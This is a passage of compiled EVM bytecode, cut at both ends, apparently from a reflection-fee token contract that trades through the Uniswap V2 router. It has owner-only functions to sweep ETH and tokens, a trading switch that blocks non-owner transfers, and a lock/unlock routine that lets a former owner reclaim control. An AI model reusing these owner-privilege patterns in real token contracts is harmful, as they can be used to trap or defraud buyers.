fffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060088054806110705761106f6151eb565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556110bd565b80806110b59061521a565b915050610e96565b5050565b600061116a6110ce6129a1565b8461116585600560006110df6129a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b6129a9565b6001905092915050565b61117c6129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120090614f4f565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb828473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161125f9190614daf565b60206040518083038186803b15801561127757600080fd5b505afa15801561128b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112af9190615278565b6040518363ffffffff1660e01b81526004016112cc9291906152a5565b602060405180830381600087803b1580156112e657600080fd5b505af11580156112fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131e91906152e3565b505050565b60115481565b60006113336129a1565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b990615382565b60405180910390fd5b60006113cd83613018565b5050505050905061142681600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307490919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147e81600b5461307490919063ffffffff16565b600b8190555061149983600c54612fba90919063ffffffff16565b600c81905550505050565b6114ac6129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153090614f4f565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a548311156115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d2906153ee565b60405180910390fd5b816115fb5760006115eb84613018565b5050505050905080915050611612565b600061160684613018565b50505050915050809150505b92915050565b6116206129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490614f4f565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611715573d6000803e3d6000fd5b50565b7f0000000000000000000000004938c11bda652c5fb832b8bba41dfdd7f29af73c81565b601560019054906101000a900460ff1681565b6117576129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117db90614f4f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186890615168565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561194557611901600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cda565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611a616129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae590614f4f565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611bd357600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611c1e565b611c1b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cda565b90505b919050565b611c2b6129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90614f4f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611da46129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2890614f4f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611e77573d6000803e3d6000fd5b5050565b60165481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f8054611f0f90614ed1565b80601f0160208091040260200160405190810160405280929190818152602001828054611f3b90614ed1565b8015611f885780601f10611f5d57610100808354040283529160200191611f88565b820191906000526020600020905b815481529060010190602001808311611f6b57829003601f168201915b5050505050905090565b6000612055611f9f6129a1565b8461205085604051806060016040528060258152602001615d966025913960056000611fc96129a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee19092919063ffffffff16565b6129a9565b6001905092915050565b6120676129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120eb90614f4f565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219890615480565b60405180910390fd5b60025442116121e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dc906154ec565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006122f96122f26129a1565b8484612b74565b6001905092915050565b6000600254905090565b6123156129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239990614f4f565b60405180910390fd5b80601560016101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516123eb9190614b13565b60405180910390a150565b60175481565b6124046129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612491576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248890614f4f565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804261253f919061550c565b600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6126526129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d690614f4f565b60405180910390fd5b66f6a11f484ec000601681905550565b6126f76129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277b90614f4f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6127e76129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286b90614f4f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128db906155d4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1090615666565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a80906156f8565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612b679190614b3d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bdb9061578a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4b9061581c565b60405180910390fd5b60008111612c97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8e906158ae565b60405180910390fd5b612c9f611ed7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612d0d5750612cdd611ed7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612d5857601654811115612d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d4e90615940565b60405180910390fd5b5b6000612d6330611b38565b90506016548110612d745760165490505b60006017548210159050808015612d985750601560009054906101000a900460ff16155b8015612df057507f0000000000000000000000004938c11bda652c5fb832b8bba41dfdd7f29af73c73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015612e085750601560019054906101000a900460ff165b15612e1c576017549150612e1b826130be565b5b600060019050600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612ec35750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ecd57600090505b612ed986868684613237565b505050505050565b6000838311158290612f29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2091906149fd565b60405180910390fd5b5060008385612f3891906151b7565b9050809150509392505050565b6000806000612f5261359c565b91509150612f698183612f7090919063ffffffff16565b9250505090565b6000612fb283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061384f565b905092915050565b6000808284612fc9919061550c565b90508381101561300e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613005906159ac565b60405180910390fd5b8091505092915050565b600080600080600080600080600061302f8a6138b2565b925092509250600080600061304d8d8686613048612f45565b61390c565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b60006130b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ee1565b905092915050565b6001601560006101000a81548160ff02191690831515021790555060006130ef600283612f7090919063ffffffff16565b90506000613106828461307490919063ffffffff16565b9050600047905061311683613995565b600061312b824761307490919063ffffffff16565b905060006131566064613148604b85613be190919063ffffffff16565b612f7090919063ffffffff16565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156131c0573d6000803e3d6000fd5b5080826131cd91906151b7565b91506131d98483613c5c565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185838660405161320c939291906159cc565b60405180910390a150505050506000601560006101000a81548160ff02191690831515021790555050565b600960009054906101000a900460ff1661328b57613253611ed7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461328a57600080fd5b5b8061329957613298613d4c565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561333c5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156133515761334c848484613d8f565b613588565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133f45750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561340957613404848484613fef565b613587565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134ad5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156134c2576134bd84848461424f565b613586565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156135645750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156135795761357484848461441a565b613585565b61358484848461424f565b5b5b5b5b806135965761359561470f565b5b50505050565b6000806000600b5490506000600a54905060005b600880549050811015613812578260036000600884815481106135d6576135d5615188565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136c4575081600460006008848154811061365c5761365b615188565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136db57600b54600a549450945050505061384b565b61376b60036000600884815481106136f6576136f5615188565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461307490919063ffffffff16565b92506137fd600460006008848154811061378857613787615188565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361307490919063ffffffff16565b9150808061380a9061521a565b9150506135b0565b5061382a600a54600b54612f7090919063ffffffff16565b82101561384257600b54600a5493509350505061384b565b81819350935050505b9091565b60008083118290613896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161388d91906149fd565b60405180910390fd5b50600083856138a59190615a32565b9050809150509392505050565b6000806000806138c185614723565b905060006138ce86614754565b905060006138f7826138e9858a61307490919063ffffffff16565b61307490919063ffffffff16565b90508083839550955095505050509193909250565b6000806000806139258589613be190919063ffffffff16565b9050600061393c8689613be190919063ffffffff16565b905060006139538789613be190919063ffffffff16565b9050600061397c8261396e858761307490919063ffffffff16565b61307490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000600267ffffffffffffffff8111156139b2576139b1615a63565b5b6040519080825280602002602001820160405280156139e05781602001602082028036833780820191505090505b50905030816000815181106139f8576139f7615188565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613a9857600080fd5b505afa158015613aac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ad09190615aa7565b81600181518110613ae457613ae3615188565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613b49307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846129a9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613bab959493929190615bcd565b600060405180830381600087803b158015613bc557600080fd5b505af1158015613bd9573d6000803e3d6000fd5b505050505050565b600080831415613bf45760009050613c56565b60008284613c029190615030565b9050828482613c119190615a32565b14613c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4890615c99565b60405180910390fd5b809150505b92915050565b613c87307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846129a9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613cd1611ed7565b426040518863ffffffff1660e01b8152600401613cf396959493929190615cb9565b6060604051808303818588803b158015613d0c57600080fd5b505af1158015613d20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613d459190615d1a565b5050505050565b6000601154148015613d6057506000601354145b15613d6a57613d8d565b601154601281905550601354601481905550600060118190555060006013819055505b565b600080600080600080613da187613018565b955095509550955095509550613dff87600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307490919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613e9486600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f2985600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f7581614785565b613f7f848361492a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051613fdc9190614b3d565b60405180910390a3505050505050505050565b60008060008060008061400187613018565b95509550955095509550955061405f86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506140f483600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061418985600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506141d581614785565b6141df848361492a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161423c9190614b3d565b60405180910390a3505050505050505050565b60008060008060008061426187613018565b9550955095509550955095506142bf86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061435485600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506143a081614785565b6143aa848361492a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516144079190614b3d565b60405180910390a3505050505050505050565b60008060008060008061442c87613018565b95509550955095509550955061448a87600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307490919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061451f86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145b483600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061464985600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061469581614785565b61469f848361492a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516146fc9190614b3d565b60405180910390a3505050505050505050565b601254601181905550601454601381905550565b600061474d606461473f60115485613be190919063ffffffff16565b612f7090919063ffffffff16565b9050919050565b600061477e606461477060135485613be190919063ffffffff16565b612f7090919063ffffffff16565b9050919050565b600061478f612f45565b905060006147a68284613be190919063ffffffff16565b90506147fa81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615614925576148e183600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fba90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61493f82600b5461307490919063ffffffff16565b600b8190555061495a81600c54612fba90919063ffffffff16565b600c819055505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561499e578082015181840152602081019050614983565b838111156149ad576000848401525b50505050565b6000601f19601f8301169050919050565b60006149cf82614964565b6149d9818561496f565b93506149e9818560208601614980565b6149f2816149b3565b840191505092915050565b60006020820190508181036000830152614a1781846149c4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614a4f82614a24565b9050919050565b614a5f81614a44565b8114614a6a57600080fd5b50565b600081359050614a7c81614a56565b92915050565b6000819050919050565b614a9581614a82565b8114614aa057600080fd5b50565b600081359050614ab281614a8c565b92915050565b60008060408385031215614acf57614ace614a1f565b5b6000614add85828601614a6d565b9250506020614aee85828601614aa3565b9150509250929050565b60008115159050919050565b614b0d81614af8565b82525050565b6000602082019050614b286000830184614b04565b92915050565b614b3781614a82565b82525050565b6000602082019050614b526000830184614b2e565b92915050565b6000819050919050565b6000614b7d614b78614b7384614a24565b614b58565b614a24565b9050919050565b6000614b8f82614b62565b9050919050565b6000614ba182614b84565b9050919050565b614bb181614b96565b82525050565b6000602082019050614bcc6000830184614ba8565b92915050565b600080600060608486031215614beb57614bea614a1f565b5b6000614bf986828701614a6d565b9350506020614c0a86828701614a6d565b9250506040614c1b86828701614aa3565b9150509250925092565b600060208284031215614c3b57614c3a614a1f565b5b6000614c4984828501614aa3565b91505092915050565b600060ff82169050919050565b614c6881614c52565b82525050565b6000602082019050614c836000830184614c5f565b92915050565b600060208284031215614c9f57614c9e614a1f565b5b6000614cad84828501614a6d565b91505092915050565b6000614cc182614a44565b9050919050565b614cd181614cb6565b8114614cdc57600080fd5b50565b600081359050614cee81614cc8565b92915050565b60008060408385031215614d0b57614d0a614a1f565b5b6000614d1985828601614cdf565b9250506020614d2a85828601614a6d565b9150509250929050565b614d3d81614af8565b8114614d4857600080fd5b50565b600081359050614d5a81614d34565b92915050565b60008060408385031215614d7757614d76614a1f565b5b6000614d8585828601614aa3565b9250506020614d9685828601614d4b565b9150509250929050565b614da981614a44565b82525050565b6000602082019050614dc46000830184614da0565b92915050565b6000614dd582614a24565b9050919050565b614de581614dca565b8114614df057600080fd5b50565b600081359050614e0281614ddc565b92915050565b600060208284031215614e1e57614e1d614a1f565b5b6000614e2c84828501614df3565b91505092915050565b600060208284031215614e4b57614e4a614a1f565b5b6000614e5984828501614d4b565b91505092915050565b60008060408385031215614e7957614e78614a1f565b5b6000614e8785828601614a6d565b9250506020614e9885828601614a6d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614ee957607f821691505b60208210811415614efd57614efc614ea2565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614f3960208361496f565b9150614f4482614f03565b602082019050919050565b60006020820190508181036000830152614f6881614f2c565b9050919050565b7f53776170205468726573686f6c6420416d6f756e742063616e6e6f742062652060008201527f6c657373207468616e203639204d696c6c696f6e000000000000000000000000602082015250565b6000614fcb60348361496f565b9150614fd682614f6f565b604082019050919050565b6000602082019050818103600083